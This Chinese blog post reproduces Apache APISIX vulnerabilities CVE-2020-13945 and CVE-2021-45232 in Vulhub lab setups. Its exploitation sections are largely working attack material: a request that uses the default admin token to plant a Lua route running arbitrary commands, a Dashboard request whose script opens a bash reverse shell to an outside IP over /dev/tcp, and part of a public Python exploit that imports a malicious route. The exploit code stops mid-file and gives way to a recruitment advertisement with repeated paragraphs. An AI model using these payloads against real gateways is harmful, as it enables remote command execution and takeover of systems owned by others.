Apache Apisix网关系统历史漏洞复现分析_apache apisix 漏洞

于 2024-04-03 14:43:06 发布
阅读量1k 收藏 21
点赞数 11
分类专栏： 2024年程序员学习 文章标签： apache
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79987255/article/details/137345322
版权

| — | — | — |
| Apache APISIX | 9080 | edd1c9f034335f136f87ad84b625c8f1 |
| Apache APISIX Dashboard | 9000 | admin/admin |

官方推荐的快速安装 APISIX：

curl -sL https://run.api7.ai/apisix/quickstart | sh

验证安装是否成功

curl “http://127.0.0.1:9080” --head | grep Server

imagepng
imagepng
【创建路由】

通过下面的命令，你将创建一个路由，把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip：

root@ubuntu:~/Desktop$ curl -i “http://127.0.0.1:9180/apisix/admin/routes” -X PUT -d ’
{
“id”: “getting-started-ip”,
“uri”: “/ip”,
“upstream”: {
“type”: “roundrobin”,
“nodes”: {
“httpbin.org:80”: 1
}
}
}’
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3

{“key”:“/apisix/routes/getting-started-ip”,“value”:{“upstream”:{“scheme”:“http”,“nodes”:{“httpbin.org:80”:1},“type”:“roundrobin”,“pass_host”:“pass”,“hash_on”:“vars”},“id”:“getting-started-ip”,“priority”:0,“update_time”:1708220748,“uri”:“/ip”,“status”:1,“create_time”:1708220748}}
root@ubuntu:~/Desktop$
root@ubuntu:~/Desktop$ curl “http://127.0.0.1:9080/ip”
{
“origin”: “XXX.XXX.XXX.21”
}
root@ubuntu:~/Desktop$

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于浏览器的可视化平台，用于监控、管理 Apache APISIX。官方项目地址：https://github.com/apache/apisix-dashboard。

docker pull apache/apisix-dashboard
docker run -d --name dashboard
-p 9000:9000
-v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml
apache/apisix-dashboard

此处安装失败，原因不详，从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。

CVE-2020-13945默认api令牌

Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下，Apache APISIX 将使用默认的管理员 Token：edd1c9f034335f136f87ad84b625c8f1，攻击者利用这个 Token 可以访问到管理员接口，进而通过 script 参数来插入任意 LUA 脚本并执行。

该默认令牌配置文件位于：https://github.com/apache/apisix/blob/master/conf/config.yaml， 这是一个默认配置导致的安全问题，实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞，而是给出了安全提醒：
imagepng
【环境搭建】

基于 Vulhub 快速搭建靶场环境（https://vulhub.org/#/environments/apisix/CVE-2020-13945/）：
imagepng
环境启动后，访问 http://your-ip:9080 即可查看到默认的 404 页面。
imagepng
【漏洞复现】

利用默认 Token 增加一个恶意的 router（ 该 API 接口详细参数请参见官方文档：Admin API | Apache APISIX），其中包含恶意 LUA 脚本：

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
“uri”: “/attack”,
“script”: “local _M = {} \n function _M.access(conf, ctx) \n local os = require(‘os’)\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, ‘r’))\n local s = assert(f:read(‘*a’))\n ngx.say(s)\n f:close() \n end \nreturn _M”,
“upstream”: {
“type”: “roundrobin”,
“nodes”: {
“example.com:80”: 1
}
}
}

imagepng
然后，我们访问刚才添加的 router，就可以通过 cmd 参数执行任意命令：http://your-ip:9080/attack?cmd=id
imagepng
imagepng
【其他管理接口】

Admin API （https://apisix.apache.org/zh/docs/apisix/admin-api）是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力，资源配置完成后 APISIX 将会自动更新配置，无需重启服务。

以“获取资源列表”的接口 /apisix/admin/consumers 为例：
imagepng
imagepng

CVE-2021-45232未授权接口

Apache APISIX Dashboard 是基于浏览器的可视化平台，用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API：/apisix/admin/migrate/export 和 /apisix/admin/migrate/import，它们没有经过 droplet 框架的权限验证，导致未授权的攻击者可以导出、导入当前网关的所有配置项，包括路由、服务、脚本等。攻击者通过导入恶意路由，可以用来让 Apache APISIX 访问任意网站，甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境：
imagepng
然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面：
imagepng

2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin（Vulhub 镜像的密码为 vulhub）:
imagepng
其实实战中如果没有敏感接口的未授权访问漏洞的话，是可以通过弱密码登录后台进行 RCE 的，接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务，请注意目标节点信息后面触发 RCE 会用到：
imagepng
2、 接着创建路由，把选择上游服务选择为上面的创造的上游：
imagepng
3、访问上述创建的路由，通过“查看”修改配置，添加反弹 Shell 的 Lua Script：
imagepng
imagepng
提交修改请求（API 接口参数释义请参见：https://apisix.apache.org/zh/docs/apisix/admin-api/#route），数据包如下：

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{“uri”:“/*”,“name”:“rce”,“methods”:[“GET”,“POST”,“PUT”,“DELETE”,“PATCH”,“HEAD”,“OPTIONS”,“CONNECT”,“TRACE”],“script”:“os.execute(‘/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1’)”,“upstream_id”:“501154557745693377”,“status”:1}

4、接着访问：http://127.0.0.1:9080/rce，即可触发命令执行实现 RCE：
imagepng
imagepng
【More】创建路由时并非强制选择上游服务，故上述创建上游服务的步骤也可以直接忽略，直接创建路由并指定一个有效的目标节点（主机名+有效业务端口）接口，比如：
imagepng

2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见：https://xz.aliyun.com/t/10732。

那如果没有默认密码或者弱密码的话，这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件，一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件，删除 Authorization 字段后发现是可以正常未授权访问的：
imagepng
接下来利用另一个接口导入恶意配置即可实现 RCE，但是从上面导出的配置数据可以看到，后面多出四个字节，这 4 个字节其实是配置文件的 checksum 值，在导入配置文件时，也会对配置文件的 checksum 值进行校验，那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见，直接利用 Github 现成的 POC 验证程序即可：https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

Suppress only the single warning from urllib3 needed.

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

eval_config = {
“Counsumers”: [],
“Routes”: [
{
“id”: str(random.randint(100000000000000000, 1000000000000000000)),
“create_time”: 1640674554,
“update_time”: 1640677637,
“uris”: [
“/rce”
],
“name”: “rce”,
“methods”: [
“GET”,
“POST”,
“PUT”,
“DELETE”,
“PATCH”,
“HEAD”,
“OPTIONS”,
“CONNECT”,
“TRACE”
],
“script”: “local file = io.popen(ngx.req.get_headers()[‘cmd’],‘r’) \n local output = file:read(‘*all’) \n file:close() \n ngx.say(output)”,
“status”: 1
}
],
“Services”: [],
“SSLs”: [],
“Upstreams”: [],
“Scripts”: [],

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）
img

本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。

最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。

最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！下面就开始进入正题，如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图，这里我给大家分享一份打磨了3个月，已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

你绝对不能错过！

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

2301_79987255
关注
  • 11
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【漏洞复现】Sentinel Dashboard SSRF漏洞(CVE-2021-44139)
晚风不及你
01-15 978
Sentinel Dashboard是一个轻量级的开源控制台，提供机器发现以及健康情况管理、监控、规则管理和推送的功能。它还提供了详细的被保护资源的实际访问统计情况，以及为不同服务配置的限流规则。
[运维|中间件] Apache APISIX Dashboard部署（持续踩坑更新。。。）
梦醒贰零壹柒
08-08 550
将 <CONFIG_FILE> 替换为你的配置文件路径。
【复现与代码分析】Apache APISIX Dashboard API权限绕过导致RCE（CVE-2021-45232）
weixin_45694388的博客
04-24 1222
API接口未授权访问一直以来都是令甲方安全人员头疼的问题，在《OWASP API Security Top 10 2019》里面，Broken Object Level Authorization（失效的对象级授权），包括未授权、越权访问等，就是排在第一位的安全问题：未授权漏洞的出现频率越来越高，且漏洞的利用又相对简单，今后应针对这个方向的漏洞多做积累，多做总结。
APISIX、APISIX Dashboard搭建、路由配置及插件使用
热门推荐
CaptainJava的博客
06-28 1万+
本文简要描述了APISIX、APISIX Dashboard的搭建 以及消费者consumer、常用插件等的使用
CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现
m0_58596609的博客
01-17 2643
CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现
apisix-dashboard：适用于Apache APISIX的仪表板
01-30
Apache APISIX仪表板（实验性） •• 主版本应与Apache APISIX主版本一起使用。 最新发布的版本是 ，应与一起使用。 不建议与其他Apache APISIX版本一起使用。 什么是Apache APISIX仪表板 Apache APISIX仪表板...
基于Apache APISIX的全流量API网关.pdf
08-14
基于 Apache APISIX 的全流量 API 网关 本文主要介绍了基于 Apache APISIX 的全流量 API 网关的概念和技术架构，讨论了云原生时代下的 API 网关的重要性，以及 Apache APISIX 在云原生领域中的应用和优势。 云原生...
Apache APISIX 是一个云原生 API 网关
05-01
Apache APISIX 是一个动态、实时、高性能的 API 网关。APISIX 提供负载均衡、动态上行、灰度发布、熔断、鉴权、可观测等丰富的流量管理功能。您可以使用 Apache APISIX 来处理传统的南北向流量， 以及服务之间的东西...
apache漏洞汇总apache漏洞汇总
03-29
Apache-flink 未授权访问任意jar包上传反弹shell CVE-2019-0193 Apache-Solr via ...CVE-2019-17564 Apache-Dubbo反序列化漏洞 CVE-2020-13925 Apache Kylin 远程命令执行漏洞 CVE-2020-13957 Apache Solr 未授权上传
云原生API网关全生命周期管理Apache APISIX探究实操
itxiaoshen博客
03-16 1693
了解传统Nginx网关和基于Open Resty的Kong网关的痛点，抛出本篇主角一个云原生网关Apache APISIX，先了解其定义、特性、架构，并进一步理解其使用场景，再通过三种安装方式一步步部署和验证，也涉及到对部分Admin API的使用，最后通过apisix-dashboard可视化页面配置路由示例、整合Nacos服务发现示例和开启skywalking插件实现链路追踪示例。
APISIX-全新一代API网关，带可视化管理，文档贼友好！
Ch3nnn的博客
04-18 2682
apisix是一款云原生微服务API网关，可以为API提供终极性能、安全性、开源和可扩展的平台。apisix基于Nginx和etcd实现，与传统API网关相比，apisix具有动态路由和插件热加载，特别适合微服务系统下的API管理。体验了一把apisix这个全新一代的API网关，有可视化管理的网关果然不一样，简单易用，功能强大！如果你的微服务是云原生的话，可以试着用它来做网关。其实apisix并不是个小众框架，很多国内外大厂都在使用了，如果你想知道哪些公司在使用，可以参考下面的连接。
Apache APISIX Dashboard（CVE-2022-24112）命令执行漏洞方式利用
include_voidmain的博客
04-11 7685
0x01 什么是Apache APISIX Dashboard Apache APISIX 是一个动态、实时、高性能的开源 API 网关，提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX 可以帮助企业快速、安全地处理 API 和微服务流量，包括网关、Kubernetes Ingress 和服务网格等。 0x02 漏洞详情 漏洞编号：CVE-2022-24112 影响版本：Apache APISIX < 2.12.1 Apache APIS
云原生 API 网关 APISIX 入门教程
easylife206的专栏
07-29 7080
公众号关注「奇妙的 Linux 世界」设为「星标」，每天带你玩转 Linux ！​Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它具有动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、限速、防御恶意攻击、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间...
Apache APISIX Dashboard API 权限绕过导致rce（CVE-2021-45232）
最新发布
weixin_53639243的博客
02-23 196
Apache APISIX 是一个动态、实时、高性能的 API 网关，Apache APISIX Dashboard 是一个简单易用的前端界面，用于管理 Apache APISIX。在 Apache APISIX Dashboard 2.10.1 之前版本中，Manager API 使用两个框架并在框架的基础上引入框架 droplet gin ，所有 API 和认证中间件都是基于框架 droplet 开发的。docker 启动环境。
Apache APISIX Dashboard 身份验证绕过漏洞 （CVE-2021-45232）
Adminxe的博客
12-29 3082
0x00 漏洞描述 Apache APISIX 是一个动态、实时、高性能的 API 网关， 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。 CVE-2021-45232 该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架，所有的 API 和鉴权中间件都是基于 droplet 框架开发的..
Apache APISIX Dashboard 身份验证绕过漏洞（CVE-2021-45232）
kukudeshuo的博客
12-30 2768
Apache APISIX Dashboard 身份验证绕过漏洞（CVE-2021-45232） 漏洞描述 Apache APISIX 是一个动态、实时、高性能的 API 网关， 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。 CVE编号 CVE-2021-45232 FOFA语句 title="Apache APISIX Dashboard" 影响范围 Apache
关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
weixin_33806300的博客
01-08 427
阿里云容器服务Kubernetes 已修复Dashboard漏洞CVE-2018-18264，本文介绍该漏洞的影响版本及解决方法。阿里云容器服务Kubernetes内建的Kubernetes Dashboard是托管形态且已进行过安全增强，不受此漏洞影响。 背景信息 Kubernetes社区发现Kubernetes Dashboard安全漏洞CVE-20...
apache log4j2 漏洞复现
06-28
### 回答1： Apache Log4j2漏洞是一种远程代码执行漏洞，攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求，将恶意代码注入到受影响的服务器上，从而实现远程代码执行。该漏洞已被广泛利用，需要尽快修复。建议管理员及时更新受影响的软件版本，以保护服务器安全。 ### 回答2： 近日，全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞，该漏洞编号为CVE-2021-44228，危害严重。攻击者利用该漏洞可以远程执行恶意代码，入侵服务器、系统和网络，导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程，也可以用一些现有的著名开源项目（如Spring、Kafka）进行复现。这里以demo工程为例。 - 操作系统：Ubuntu 18.04.5 LTS - Java环境：JDK 1.8 - 工程环境：IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程，然后在pom.xml文件中加入log4j2依赖，可以使用找公用库的方式如下： ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码，如下： ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式，使用 ${} 语法引用payload变量的值，当payload变量的值包含恶意命令时，该漏洞即可成功利用，这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后，启动demo，如果demo的启动方式是直接运行jar包，可以使用以下命令启动： ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出，则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本，建议使用最新版本或对应的补丁，详见官方发布的修复安全公告。除此之外，也可以临时关闭log4j2的服务，防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍，漏洞的修复和预防对于互联网安全至关重要，希望大家及时更新代码和环境，确保系统网络的安全。 ### 回答3： Apache log4j2是一种流行的Java日志框架，它可以通过配置和代码记录日志。但是，最近发现了一个名为CVE-2021-44228的漏洞，攻击者可以利用该漏洞在log4j2中执行任意代码，这是一种非常危险的攻击。 要复现这个漏洞，我们需要遵循以下步骤： 步骤1：下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2：使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3：将有效负载复制到代码中。 步骤4：编写一个Java应用程序，用于建立与log4j2之间的连接，并执行有效负载。建议使用MinimalLocking.java，这个java应用程序将在本地服务器上启动log4j2。 步骤5：编译和运行您的Java应用程序。 步骤6：通过TCP端口和JMX控制台，发送构造的payload来攻击log4j2。 在实际操作中，攻击者可能会使用更高级的方法，例如尝试使用日志记录的数据来执行代码。例如，在Java虚拟机中注入Java类，然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全，建议及时升级log4j2到最新版本，并关注官方通告以了解有关漏洞的最新信息。同时，对于企业用户，建议强化安全性措施，对服务器进行监控和维护，以便及时发现和应对安全漏洞。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值